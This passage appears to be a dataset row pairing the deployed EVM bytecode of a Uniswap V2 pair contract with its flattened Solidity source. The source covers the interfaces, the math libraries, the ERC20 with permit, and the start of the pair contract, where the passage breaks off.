9642c6164647265737320766572696679696e67436f6e747261637429 | 608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032 | // File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
